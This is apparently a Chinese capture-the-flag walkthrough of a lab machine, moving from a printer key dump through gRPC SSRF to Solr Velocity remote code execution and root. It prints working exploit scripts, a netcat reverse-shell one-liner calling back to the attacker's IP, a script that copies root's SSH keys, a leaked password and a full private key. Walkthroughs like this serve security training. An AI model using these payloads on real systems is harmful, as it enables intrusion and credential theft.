基本信息

端口扫描

22,9000,9100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ nmap -sC -sV 10.10.10.201

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 12:53 CST
Nmap scan report for 10.10.10.201
Host is up (0.069s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
9000/tcp open cslistener?
9100/tcp open jetdirect?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9000-TCP:V=7.80%I=7%D=9/7%Time=5F55BCEC%P=x86_64-apple-darwin18.6.0
SF:%r(NULL,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\
SF:x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0")%r(GenericLines,3F,"\0\0\x18\x04\0\0\0\0\0\0\x0
SF:4\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0
SF:\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(GetRequest,3
SF:F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe
SF:\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0")%r(HTTPOptions,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0
SF:\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?
SF:\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(RTSPRequest,3F,"\0\0\x
SF:18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\
SF:0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0")%r(RPCCheck,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x
SF:08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(DNSVersionBindReqTCP,3F,"\0\0\x18\
SF:x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x
SF:01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\
SF:0")%r(DNSStatusRequestTCP,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05
SF:\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x
SF:01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(Help,3F,"\0\0\x18\x04\0\0\
SF:0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x
SF:04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(SS
SF:LSessionReq,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\
SF:0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(TerminalServerCookie,3F,"\0\0\x18\x04\0\
SF:0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0
SF:\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(
SF:TLSSessionReq,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x
SF:06\0\0\0\0\0\0\0\0\0\0\0\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.25 seconds

有时候扫描结果会出现166,167,这是机器问题,非预期,user blood只有4分钟,就是通过非预期端口打的

9100

9100是HP jetdirect打印机,相关利用工具:

PRET

简单的枚举,发现一个队列文件,下载下来, 这是一个加密文件,nvram dump可以得到 key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ python pret.py 10.10.10.201 pjl
________________
_/_______________/|
/___________/___//|| PRET | Printer Exploitation Toolkit v0.40
|=== |----| || by Jens Mueller <jens.a.mueller@rub.de>
| | ô| ||
|___________| ô| ||
| ||/.´---.|| | || 「 pentesting tool that made
|-||/_____\||-. | |´ dumpster diving obsolete‥ 」
|_||=L==H==||_|__|/

(ASCII art by
Jan Foerster)

Connection to 10.10.10.201 established
Device: LaserCorp LaserJet 4ML

Welcome to the pret shell. Type help or ? to list commands.
10.10.10.201:/> ls
d - pjl
10.10.10.201:/> cd pjl
10.10.10.201:/pjl> ls
d - jobs
10.10.10.201:/pjl> cd jobs
10.10.10.201:/pjl/jobs> ls
- 172199 queued
10.10.10.201:/pjl/jobs> get queued
172199 bytes received.
10.10.10.201:/pjl/jobs> nvram dump
Writing copy to nvram/10.10.10.201
.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................k...e....y.....13vu94r6..643rv19u
10.10.10.201:/pjl/jobs>
  • key :13vu94r6643rv19u

convert file

首先处理文件,去除多余字符

1
sed -e "s#'##g" queued | cut -c2- > queued.b64

decode file

queued文件是base64编码过的,首先解码:

1
2
3
4
5
6
7
import base64

with open("queued.b64","r") as mmm:
mmm_content = mmm.read()
b64dec_content = base64.b64decode(mmm_content)
with open("secwalk.raw","wb") as mmm_jpg:
mmm_jpg.write(b64dec_content)

decrypt

然后AES解密,得到的是一个pdf文件:

1
2
3
4
5
6
7
8
9
import io, sys, base64
from Crypto.Cipher import AES

with io.open('secwalk.raw', 'rb') as fp:
c = fp.read()[8:]
iv, ct = c[:16], c[16:]
cipher = AES.new('13vu94r6643rv19u', AES.MODE_CBC, iv)
z = cipher.decrypt(ct)
sys.stdout.buffer.write(z)
1
python3 decrypt.py > secwalk.pdf

信息

pdf里部分有用信息:

1
2
3
4
5
6
7
8
...
return service_pb2.Data(feed='Pushing feeds') ...

{
"version": "v1.0",
"title": "Printer Feed",
"home_page_url": "http://printer.laserinternal.htb/", "feed_url": "http://printer.laserinternal.htb/feeds.json", "items": [
] }

现在我们知道9000端口运行着GRPC服务

9000 GRPC

加host后,9000端口能直接访问:

根据grpc文档和pdf内容,我们可以猜到后端是python grpc实现:

根据PDF文件名,我们定义了一个Print服务,该服务具有叫做Feed的RPC方法,此方法将Content作为输入参数,并从服务器返回Data.

也就是说,我们可以通过RPC与服务器交互获取数据

Protocol Buffers

首先自己创建一个proto文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
syntax = "proto3";

message Content {
string data = 1;
}

message Data {
float feed = 1;
}

service Print {
rpc Feed(Content) returns (Data) {}
}

然后使用Python生成grpc class:

1
2
3
pip3 install grpcio
pip3 install grpcio-tools
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. miao.proto

自动生成了两个文件,miao_pb2.py和miao_pb2_grpc.py

client

然后我们可以使用已有文件构造grpc client,feed url使用我们的server,可以接收到请求:

client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys, pickle, base64
import grpc, miao_pb2, miao_pb2_grpc

payload = '{"feed_url":"http://10.10.14.4:4444"}'
payload = base64.b64encode(pickle.dumps(payload))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = miao_pb2_grpc.PrintStub(channel)
content = miao_pb2.Content(data=payload)
try:
response = stub.Feed(content, timeout=10)
print(response)
except Exception as ex:
print(ex)

本地端口扫描

但无法直接执行任何命令,那么可以考虑探测本地其他服务,首先扫描端口,(这一步会花费一点时间):

发现两个新端口,7983和8983,8983是solr默认端口

scanner.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys, pickle, base64
import grpc, miao_pb2, miao_pb2_grpc

for port in range(1, 65536):
payload = '{"feed_url":"http://localhost:' + str(port) + '"}'
payload = base64.b64encode(pickle.dumps(payload))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = miao_pb2_grpc.PrintStub(channel)
content = miao_pb2.Content(data=payload)
try:
response = stub.Feed(content, timeout=10)
print(port, response)
except Exception as ex:
if 'Connection refused' in ex.details():
continue
print(port)

Apache solr

搜索发现solr相关漏洞:

但漏洞需要直接去访问端口,现在我们是用过GRPC,搜索能够得到:

service check

有响应才代表服务正常,机器问题很可能没响应导致后面没法做:

1
2
$ python3 client.py
feed: "Pushing feeds"
1
2
3
4
5
6
7
8
9
10
11
12
13
import sys, pickle, base64
import grpc, miao_pb2, miao_pb2_grpc

payload = '{"feed_url":"http://localhost:8983"}'
payload = base64.b64encode(pickle.dumps(payload))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = miao_pb2_grpc.PrintStub(channel)
content = miao_pb2.Content(data=payload)
try:
response = stub.Feed(content, timeout=10)
print(response)
except Exception as ex:
print(ex)

reverse shell & user flag

然后就是两步exp打到reverse shel,在用户目录得到user.txtl:

exp.py

1
2
3
4
5
6
7
8
9
import base64
import pickle
import os

data0 = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'

data = base64.b64encode(pickle.dumps(data0))
# print data
os.system("grpcurl -v -plaintext -d '{\"data\":\"%s\"}' -proto miao.proto 10.10.10.201:9000 Print.Feed" %data.decode())

exp2.py

服务器上nc没有-e选项的,注意自己改下payload:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.52 4444 >/tmp/f
1
2
3
4
5
6
7
8
9
10
import base64
import pickle
import os
import sys

data1 = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27nc%2010.10.14.52%204444%20-e%20%2Fbin%2Fbash%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'

data = base64.b64encode(pickle.dumps(data1))
# print data
os.system("grpcurl -v -plaintext -d '{\"data\":\"%s\"}' -proto miao.proto 10.10.10.201:9000 Print.Feed" %data.decode())

提权信息

pspy64

传个pspy上去,搜集信息:

1
2
3
wget http://10.10.14.52:9999/pspy64
chmod +x pspy64
./pspy64

docker passwd

注意到有一个定时连接到docker,使用了sshpass指定密码,密码被隐藏了,但运行一段时间后会得到明文密码(跑着pspy耐心等吧):

1
2
3
4
2020/09/08 01:41:01 CMD: UID=0    PID=889907 | scp /root/clear.sh root@172.18.0.2:/tmp/clear.sh
2020/09/08 01:29:01 CMD: UID=0 PID=875583 | sshpass -p c413d115b3d87664499624e7826d8c5a ssh root@172.18.0.2 /tmp/clear.sh
2020/09/08 01:41:01 CMD: UID=0 PID=889927 | ssh root@172.18.0.2 /tmp/clear.sh
2020/09/08 01:41:01 CMD: UID=0 PID=889946 | ssh root@172.18.0.2 rm /tmp/clear.sh

可以登录进docker容器:

利用方式

根据pspy信息我们知道是宿主机root权限ssh连接到docker后执行/tmp/clear.sh,那么我们如果在docker内将ssh端口转发到宿主机,宿主机会root权限ssh连接到自身,去尝试执行/tmp/clear.sh,而我们可以控制宿主机的/tmp/clear.sh

/tmp/clear.sh

就是把root用户的ssh私钥复制出来更改权限:

1
2
echo '#!/bin/sh\nmkdir -p /tmp/secwalk;cp -R /root/.ssh /tmp/secwalk; chown -R solr:solr /tmp/secwalk' > /tmp/clear.sh
chmod a+x /tmp/clear.sh

docker 端口转发

1
2
3
4
wget http://10.10.14.52:9999/socat
service ssh stop
chmod +x socat
./socat TCP-LISTEN:22,fork,reuseaddr TCP:172.18.0.1:22

root ssh_key

等待触发,然后我们拿到root用户的ssh key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

root flag

之后使用这个key登录,得到root.txt:

参考资料